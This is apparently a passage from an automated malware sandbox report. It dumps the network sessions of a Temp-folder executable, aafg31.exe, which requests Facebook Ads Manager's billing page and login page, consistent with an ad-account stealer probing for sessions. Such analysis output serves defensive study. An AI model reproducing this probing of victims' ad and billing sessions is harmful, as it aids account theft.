7e 82 7e 83 7b 7c 84 7f 7e 82 Data Ascii: \|~~~\|\|}~\|}z\|}\|}}~~}}}~{~z~\|~~~~}}\|{y}\|z\|~{~\|{\|}\|{\|~\|\|{z~\|~\|}~~y}}z{{\|~{~\|{\|~}~~{\|~
2023-05-28 08:42:55 UTC	552	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:55 UTC	552	IN	Data Raw: 31 66 34 30 0d 0a 00 65 00 6d 00 6f 00 20 00 62 00 6f 00 74 00 75 00 64 00 75 00 68 00 65 00 73 00 65 00 6e 00 6f 00 20 00 6a 00 65 00 6e 00 75 00 77 00 75 00 6e 00 6f 00 72 00 20 00 66 00 61 00 68 00 75 00 20 00 77 00 6f 00 66 00 6f 00 74 00 65 00 6c 00 69 00 63 00 1e 00 52 00 61 00 62 00 65 00 6a 00 75 00 67 00 6f 00 68 00 20 00 64 00 75 00 70 00 69 00 20 00 67 00 6f 00 79 00 69 00 67 00 69 00 6c 00 6f 00 68 00 61 00 70 00 61 00 70 00 75 00 6c 00 24 00 4b 00 69 00 6d 00 6f 00 6b 00 69 00 6e 00 65 00 7a 00 20 00 76 00 69 00 7a 00 20 00 6d 00 65 00 6d 00 6f 00 62 00 75 00 20 00 67 00 69 00 76 00 69 00 78 00 69 00 64 00 6f 00 64 00 69 00 62 00 75 00 6d 00 61 00 76 00 0f 00 5a 00 69 00 6e 00 6f 00 6d 00 61 00 6c 00 75 00 6a 00 75 00 78 00 6f 00 70 00 61 00 Data Ascii: 1f40emo botuduheseno jenuwunor fahu wofotelicRabejugoh dupi goyigilohapapul$Kimokinez viz memobu givixidodibumavZinomalujuxopa
2023-05-28 08:42:55 UTC	560	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-05-28 08:42:55 UTC	568	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:42:55 UTC	568	IN	Data Raw: 33 66 66 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 3ff

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.3	50021	157.240.17.17	443	C:\Users\user\AppData\Local\Temp\aafg31.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:57 UTC	2175	OUT	GET /ads/manager/account_settings/account_billing/ HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1 Host: adsmanager.facebook.com User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62 sec-ch-ua: "Microsoft Edge";v="111", "Not(A:Brand";v="8", "Chromium";v="111" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" sec-ch-prefers-color-scheme: light Upgrade-Insecure-Requests: 1 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document
2023-05-28 08:43:57 UTC	2176	IN	HTTP/1.1 302 Found Vary: Accept-Encoding Location: https://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F x-fb-rlafr: 0 content-security-policy-report-only: default-src data: blob: 'self' .fbcdn.net .facebook.com;script-src blob: data: 'self' 'unsafe-inline' 'unsafe-eval' .facebook.com .fbcdn.net;style-src data: blob: 'self' 'unsafe-inline' 'unsafe-eval' .facebook.com .fbcdn.net;connect-src adsmanager.facebook.com adsmanager-graph.facebook.com adsmanager.secure.facebook.com blob: 'self' .fbcdn.net rupload.facebook.com wss://gateway.facebook.com wss://edge-chat.facebook.com wss://edge-chat-latest.facebook.com https://edge-chat.facebook.com/mqtt/pull https://edge-chat-latest.facebook.com/mqtt/pull .facebook.com/rsrc.php/;font-src 'self' .facebook.com .fbcdn.net;img-src data: blob: 'self' .facebook.com .fbcdn.net .fbsbx.com .cdninstagram.com;media-src 'self' .facebook.com .fbcdn.net .fbsbx.com .cdninstagram.com;frame-src facebook.com .facebook.com fbwifigateway.net .fbwifigateway.net fbcdn.net .fbcdn.net fbsbx.com .fbsbx.com cdninstagram.com .cdninstagram.com oculuscdn.com .oculuscdn.com www.meta.com *.www.meta.com ms-excel:;manifest-src data: blob: 'self';report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0;
2023-05-28 08:43:57 UTC	2177	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 3b 73 63 72 69 70 74 2d 73 72 63 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 3b 73 74 79 6c 65 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 Data Ascii: content-security-policy: default-src data: blob: 'self' .fbcdn.net .facebook.com;script-src blob: data: 'self' 'unsafe-inline' 'unsafe-eval' .facebook.com .fbcdn.net;style-src data: blob: 'self' 'unsafe-inline' 'unsafe-eval' .facebook.com .fbcdn.net
2023-05-28 08:43:57 UTC	2179	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 0d 0a Data Ascii: Connection: closeContent-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.3	50022	157.240.234.35	443	C:\Users\user\AppData\Local\Temp\aafg31.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:57 UTC	2179	OUT	GET /login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1 User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62 sec-ch-ua: "Microsoft Edge";v="111", "Not(A:Brand";v="8", "Chromium";v="111" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" sec-ch-prefers-color-scheme: light Upgrade-Insecure-Requests: 1 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Host: www.facebook.com
2023-05-28 08:43:58 UTC	2180	IN	HTTP/1.1 200 OK Vary: Accept-Encoding report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]} x-fb-rlafr: 0 content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net 'unsafe-inline' blob: data: 'self' 'unsafe-eval';style-src .fbcdn.net data: .facebook.com 'unsafe-inline';connect-src .facebook.com facebook.com .fbcdn.net wss://.facebook.com:* wss://.fbcdn.net attachment.fbsbx.com blob: .cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ .fbsbx.com;font-src data: .facebook.com .fbcdn.net .fbsbx.com;img-src .fbcdn.net .facebook.com data: https://.fbsbx.com facebook.com .cdninstagram.com fbsbx.com fbcdn.net blob: android-webview-video-poster: .oculuscdn.com;media-src .cdninstagram.com blob: .fbcdn.net .fbsbx.com www.facebook.com .facebook.com data:;frame-src .facebook.com .fbsbx.com fbsbx.com data: .fbcdn.net;worker-src blob: *.facebook.com data:;block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0; document-policy: force-load-at-top permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), gyroscope=(), hid=(), idle-detection=(), magnetometer=(), midi=(), screen-wake-lock=(), serial=(), usb=() cross-origin-opener-policy: unsafe-none Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 X-Frame-Options: DENY origin-agent-cluster: ?0 Strict-Transport-Security: max-age=15552000; preload Content-Type: text/html; charset="utf-8" X-FB-Debug: 2KSYAd1WnQtaW97D5YdXSu/KFVQqUVPbOW6Fv8JVpTJ5VVP7tdpigSjxHIQ4gel1nMTD8YzpLqvYX0UbB8U2jQ== Date: Sun, 28 May 2023 08:43:58 GMT
2023-05-28 08:43:58 UTC	2182	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 41 6c 74 2d 53 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a Data Ascii: Transfer-Encoding: chunkedAlt-Svc: h3=":443"; ma=86400Connection: close
2023-05-28 08:43:58 UTC	2182	IN	Data Raw: 33 0d 0a 3c 21 44 0d 0a Data Ascii: 3<!D
2023-05-28 08:43:58 UTC	2182	IN	Data Raw: 64 36 65 33 0d 0a 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 6f 72 69 67 69 6e 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 73 6a 41 6a 6e 44 43 77 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 5b 63 5d Data Ascii: d6e3OCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="origin-when-crossorigin" id="meta_referrer" /><script nonce="sjAjnDCw">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]
2023-05-28 08:43:58 UTC	2183	IN	Data Raw: 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 63 65 62 6f 6f 6b 22 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 6c 6f 67 69 6e 2e 70 68 70 3f 6e 65 78 74 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 64 73 6d 61 6e 61 67 65 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 25 32 46 61 64 73 25 32 46 6d 61 6e 61 67 65 72 25 32 46 61 63 63 6f 75 6e 74 5f 73 65 74 74 69 6e 67 73 25 32 46 61 63 63 6f 75 6e 74 5f 62 69 6c 6c 69 6e 67 25 32 46 22 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 3c 6c 69 6e 6b 20 Data Ascii: g:site_name" content="Facebook" /><meta property="og:url" content="https://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F" /><meta property="og:locale" content="en_US" /><link
2023-05-28 08:43:58 UTC	2185	IN	Data Raw: 6f 6f 74 6c 6f 61 64 65 72 2d 68 61 73 68 3d 22 78 6a 31 45 72 6d 36 22 20 6e 6f 6e 63 65 3d 22 73 6a 41 6a 6e 44 43 77 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 73 6a 41 6a 6e 44 43 77 22 3e 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 48 61 73 74 65 53 75 70 70 6f 72 74 44 61 74 61 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 6d 29 7b 6d 2e 68 61 6e 64 6c 65 28 7b 22 63 6c 70 44 61 74 61 22 3a 7b 22 31 38 31 34 38 35 32 22 3a 7b 22 72 22 3a 31 7d 2c 22 31 38 33 38 31 34 32 22 3a 7b 22 72 22 3a 31 2c 22 73 22 3a 31 7d 2c 22 31 38 34 38 38 31 35 22 3a 7b 22 72 22 3a 31 30 30 30 30 2c 22 73 22 3a 31 7d 7d 2c 22 67 6b 78 44 61 74 61 22 3a 7b 22 36 37 36 38 33 37 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 Data Ascii: ootloader-hash="xj1Erm6" nonce="sjAjnDCw"></script><script nonce="sjAjnDCw">requireLazy(["HasteSupportData"],function(m){m.handle({"clpData":{"1814852":{"r":1},"1838142":{"r":1,"s":1},"1848815":{"r":10000,"s":1}},"gkxData":{"676837":{"result":false,"hash
2023-05-28 08:43:58 UTC	2186	IN	Data Raw: 65 72 22 3a 74 72 75 65 2c 22 6c 6f 61 64 45 76 65 6e 74 53 75 70 70 6f 72 74 65 64 22 3a 74 72 75 65 7d 2c 36 31 39 5d 2c 5b 22 43 6f 6f 6b 69 65 43 6f 72 65 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 63 5f 75 73 65 72 22 3a 7b 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 63 70 70 6f 22 3a 7b 22 74 22 3a 38 36 34 30 30 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 64 70 72 22 3a 7b 22 74 22 3a 36 30 34 38 30 30 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 66 62 6c 5f 63 69 22 3a 7b 22 74 22 3a 33 31 35 33 36 30 30 30 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 66 62 6c 5f 63 73 22 3a 7b 22 74 22 3a 33 31 35 33 36 30 30 30 2c 22 73 22 3a 22 4e 6f 6e 65 22 7d 2c 22 66 62 6c 5f 73 74 22 3a 7b 22 74 22 3a 33 31 35 33 36 30 30 30 2c 22 73 22 3a 22 53 74 72 69 63 74 22 7d 2c 22 Data Ascii: er":true,"loadEventSupported":true},619],["CookieCoreConfig",[],{"c_user":{"s":"None"},"cppo":{"t":86400,"s":"None"},"dpr":{"t":604800,"s":"None"},"fbl_ci":{"t":31536000,"s":"None"},"fbl_cs":{"t":31536000,"s":"None"},"fbl_st":{"t":31536000,"s":"Strict"},"
2023-05-28 08:43:58 UTC	2188	IN	Data Raw: 68 5f 70 68 61 73 65 22 3a 22 43 33 22 2c 22 70 6b 67 5f 63 6f 68 6f 72 74 22 3a 22 42 50 3a 44 45 46 41 55 4c 54 22 2c 22 68 61 73 74 65 5f 73 65 73 73 69 6f 6e 22 3a 22 31 39 35 30 35 2e 42 50 3a 44 45 46 41 55 4c 54 2e 32 2e 30 2e 2e 30 2e 30 22 2c 22 70 72 22 3a 31 2c 22 68 61 73 74 65 5f 73 69 74 65 22 3a 22 77 77 77 22 2c 22 6d 61 6e 69 66 65 73 74 5f 62 61 73 65 5f 75 72 69 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 22 2c 22 6d 61 6e 69 66 65 73 74 5f 6f 72 69 67 69 6e 22 3a 6e 75 6c 6c 2c 22 6d 61 6e 69 66 65 73 74 5f 76 65 72 73 69 6f 6e 5f 70 72 65 66 69 78 22 3a 6e 75 6c 6c 2c 22 62 65 5f 6f 6e 65 5f 61 68 65 61 64 22 3a 66 61 6c 73 65 2c 22 69 73 5f 72 74 6c 22 3a 66 61 6c 73 65 2c 22 69 73 Data Ascii: h_phase":"C3","pkg_cohort":"BP:DEFAULT","haste_session":"19505.BP:DEFAULT.2.0..0.0","pr":1,"haste_site":"www","manifest_base_uri":"https:\/\/static.xx.fbcdn.net","manifest_origin":null,"manifest_version_prefix":null,"be_one_ahead":false,"is_rtl":false,"is
2023-05-28 08:43:58 UTC	2189	IN	Data Raw: 49 4e 45 53 53 5f 47 52 41 50 48 5f 53 45 54 54 49 4e 47 5f 45 53 47 5f 41 53 53 49 47 4e 45 44 5f 55 53 45 52 53 5f 4e 45 57 5f 41 50 49 22 2c 22 42 55 53 49 4e 45 53 53 5f 47 52 41 50 48 5f 53 45 54 54 49 4e 47 5f 50 52 4f 44 55 43 54 5f 43 41 54 41 4c 4f 47 5f 41 53 53 49 47 4e 45 44 5f 55 53 45 52 53 5f 4e 45 57 5f 41 50 49 22 2c 22 42 55 53 49 4e 45 53 53 5f 47 52 41 50 48 5f 53 45 54 54 49 4e 47 5f 53 45 53 47 5f 41 53 53 49 47 4e 45 44 5f 55 53 45 52 53 5f 4e 45 57 5f 41 50 49 22 2c 22 42 55 53 49 4e 45 53 53 5f 47 52 41 50 48 5f 53 45 54 54 49 4e 47 5f 57 41 42 41 5f 41 53 53 49 47 4e 45 44 5f 55 53 45 52 53 5f 4e 45 57 5f 41 50 49 22 2c 22 41 44 53 5f 50 4c 41 43 45 4d 45 4e 54 5f 46 49 58 5f 50 55 42 4c 49 53 48 45 52 5f 50 4c 41 54 46 4f 52 4d Data Ascii: INESS_GRAPH_SETTING_ESG_ASSIGNED_USERS_NEW_API","BUSINESS_GRAPH_SETTING_PRODUCT_CATALOG_ASSIGNED_USERS_NEW_API","BUSINESS_GRAPH_SETTING_SESG_ASSIGNED_USERS_NEW_API","BUSINESS_GRAPH_SETTING_WABA_ASSIGNED_USERS_NEW_API","ADS_PLACEMENT_FIX_PUBLISHER_PLATFORM
2023-05-28 08:43:58 UTC	2191	IN	Data Raw: 6c 2c 22 62 75 73 69 6e 65 73 73 5f 70 65 72 73 6f 6e 61 5f 69 64 22 3a 6e 75 6c 6c 2c 22 62 75 73 69 6e 65 73 73 5f 72 6f 6c 65 22 3a 6e 75 6c 6c 2c 22 62 75 73 69 6e 65 73 73 5f 75 73 65 72 5f 69 64 22 3a 6e 75 6c 6c 2c 22 62 75 73 69 6e 65 73 73 41 63 63 6f 75 6e 74 4e 61 6d 65 22 3a 6e 75 6c 6c 2c 22 65 6d 61 69 6c 22 3a 6e 75 6c 6c 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 6e 75 6c 6c 2c 22 69 70 5f 70 65 72 6d 69 73 73 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 69 73 42 75 73 69 6e 65 73 73 50 65 72 73 6f 6e 22 3a 66 61 6c 73 65 2c 22 69 73 46 61 63 65 62 6f 6f 6b 57 6f 72 6b 41 63 63 6f 75 6e 74 22 3a 66 61 6c 73 65 2c 22 69 73 49 6e 73 74 61 67 72 61 6d 42 75 73 69 6e 65 73 73 50 65 72 73 6f 6e 22 3a 66 61 6c 73 65 2c 22 69 73 45 6e 74 65 72 70 72 69 73 65 Data Ascii: l,"business_persona_id":null,"business_role":null,"business_user_id":null,"businessAccountName":null,"email":null,"first_name":null,"ip_permission":null,"isBusinessPerson":false,"isFacebookWorkAccount":false,"isInstagramBusinessPerson":false,"isEnterprise
2023-05-28 08:43:58 UTC	2192	IN	Data Raw: 34 6b 65 6e 2e 63 6f 6d 22 2c 22 74 65 63 68 6e 6f 70 61 72 6b 2e 72 75 22 2c 22 6f 66 66 69 63 65 64 65 70 6f 74 2e 63 6f 6d 2e 6d 78 22 2c 22 62 65 73 74 62 75 79 2e 63 6f 6d 2e 6d 78 22 2c 22 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 22 2c 22 6e 69 62 69 6f 2e 6e 6f 22 5d 7d 2c 33 38 37 31 5d 2c 5b 22 49 6e 69 74 69 61 6c 43 6f 6f 6b 69 65 43 6f 6e 73 65 6e 74 22 2c 5b 5d 2c 7b 22 64 65 66 65 72 43 6f 6f 6b 69 65 73 22 3a 66 61 6c 73 65 2c 22 69 6e 69 74 69 61 6c 43 6f 6e 73 65 6e 74 22 3a 5b 5d 2c 22 6e 6f 43 6f 6f 6b 69 65 73 22 3a 66 61 6c 73 65 2c 22 73 68 6f 75 6c 64 53 68 6f 77 43 6f 6f 6b 69 65 42 61 6e 6e 65 72 22 3a 66 61 6c 73 65 7d 2c 34 33 32 38 5d 2c 5b 22 57 65 62 43 6f 6e 6e 65 63 74 69 6f 6e 43 6c 61 73 73 53 65 72 76 65 72 47 75 65 73 73 22 2c Data Ascii: 4ken.com","technopark.ru","officedepot.com.mx","bestbuy.com.mx","booking.com","nibio.no"]},3871],["InitialCookieConsent",[],{"deferCookies":false,"initialConsent":[],"noCookies":false,"shouldShowCookieBanner":false},4328],["WebConnectionClassServerGuess",
2023-05-28 08:43:58 UTC	2194	IN	Data Raw: 7d 7d 2c 31 34 39 36 5d 2c 5b 22 49 6e 74 6c 56 69 65 77 65 72 43 6f 6e 74 65 78 74 22 2c 5b 5d 2c 7b 22 47 45 4e 44 45 52 22 3a 33 2c 22 72 65 67 69 6f 6e 61 6c 4c 6f 63 61 6c 65 22 3a 6e 75 6c 6c 7d 2c 37 37 32 5d 2c 5b 22 4e 75 6d 62 65 72 46 6f 72 6d 61 74 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 64 65 63 69 6d 61 6c 53 65 70 61 72 61 74 6f 72 22 3a 22 2e 22 2c 22 6e 75 6d 62 65 72 44 65 6c 69 6d 69 74 65 72 22 3a 22 2c 22 2c 22 6d 69 6e 44 69 67 69 74 73 46 6f 72 54 68 6f 75 73 61 6e 64 73 53 65 70 61 72 61 74 6f 72 22 3a 34 2c 22 73 74 61 6e 64 61 72 64 44 65 63 69 6d 61 6c 50 61 74 74 65 72 6e 49 6e 66 6f 22 3a 7b 22 70 72 69 6d 61 72 79 47 72 6f 75 70 53 69 7a 65 22 3a 33 2c 22 73 65 63 6f 6e 64 61 72 79 47 72 6f 75 70 53 69 7a 65 22 3a 33 7d 2c 22 Data Ascii: }},1496],["IntlViewerContext",[],{"GENDER":3,"regionalLocale":null},772],["NumberFormatConfig",[],{"decimalSeparator":".","numberDelimiter":",","minDigitsForThousandsSeparator":4,"standardDecimalPatternInfo":{"primaryGroupSize":3,"secondaryGroupSize":3},"
2023-05-28 08:43:58 UTC	2195	IN	Data Raw: 31 2c 22 5c 2f 73 65 6d 5f 63 61 6d 70 61 69 67 6e 73 5c 2f 73 65 6d 5f 70 69 78 65 6c 5f 74 65 73 74 5c 2f 22 3a 31 2c 22 5c 2f 62 6f 6f 6b 6d 61 72 6b 73 5c 2f 66 6c 79 6f 75 74 5c 2f 62 6f 64 79 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 73 75 62 6e 6f 5c 2f 22 3a 31 2c 22 5c 2f 63 6f 6e 66 69 72 6d 65 6d 61 69 6c 2e 70 68 70 22 3a 31 2c 22 5c 2f 70 6f 6c 69 63 69 65 73 5c 2f 22 3a 31 2c 22 5c 2f 6d 6f 62 69 6c 65 5c 2f 69 6e 74 65 72 6e 65 74 64 6f 74 6f 72 67 5c 2f 63 6c 61 73 73 69 66 69 65 72 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 64 6f 67 66 6f 6f 64 69 6e 67 22 3a 31 2c 22 5c 2f 78 74 69 2e 70 68 70 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 66 62 6c 69 74 65 5c 2f 63 6f 6e 66 69 67 5c 2f 22 3a 31 2c 22 5c 2f 68 72 5c 2f 7a 73 68 5c 2f 77 63 Data Ascii: 1,"\/sem_campaigns\/sem_pixel_test\/":1,"\/bookmarks\/flyout\/body\/":1,"\/zero\/subno\/":1,"\/confirmemail.php":1,"\/policies\/":1,"\/mobile\/internetdotorg\/classifier\/":1,"\/zero\/dogfooding":1,"\/xti.php":1,"\/zero\/fblite\/config\/":1,"\/hr\/zsh\/wc
2023-05-28 08:43:58 UTC	2197	IN	Data Raw: 61 70 5c 2f 63 2e 70 68 70 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 63 6f 6e 66 69 72 6d 65 6d 61 69 6c 2e 70 68 70 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 63 72 2e 70 68 70 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 6c 6f 67 69 6e 2e 70 68 70 22 3a 31 2c 22 5c 2f 77 61 70 5c 2f 72 2e 70 68 70 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 64 61 74 61 70 6f 6c 69 63 79 22 3a 31 2c 22 5c 2f 61 5c 2f 74 69 6d 65 7a 6f 6e 65 2e 70 68 70 22 3a 31 2c 22 5c 2f 61 5c 2f 62 7a 22 3a 31 2c 22 5c 2f 62 7a 5c 2f 72 65 6c 69 61 62 69 6c 69 74 79 22 3a 31 2c 22 5c 2f 72 2e 70 68 70 22 3a 31 2c 22 5c 2f 6d 72 5c 2f 22 3a 31 2c 22 5c 2f 72 65 67 5c 2f 22 3a 31 2c 22 5c 2f 72 65 67 69 73 74 72 61 74 69 6f 6e 5c 2f 6c 6f 67 5c 2f 22 3a 31 2c 22 5c 2f 74 65 72 6d 73 5c 2f 22 3a 31 2c 22 5c 2f 66 Data Ascii: ap\/c.php":1,"\/wap\/confirmemail.php":1,"\/wap\/cr.php":1,"\/wap\/login.php":1,"\/wap\/r.php":1,"\/zero\/datapolicy":1,"\/a\/timezone.php":1,"\/a\/bz":1,"\/bz\/reliability":1,"\/r.php":1,"\/mr\/":1,"\/reg\/":1,"\/registration\/log\/":1,"\/terms\/":1,"\/f
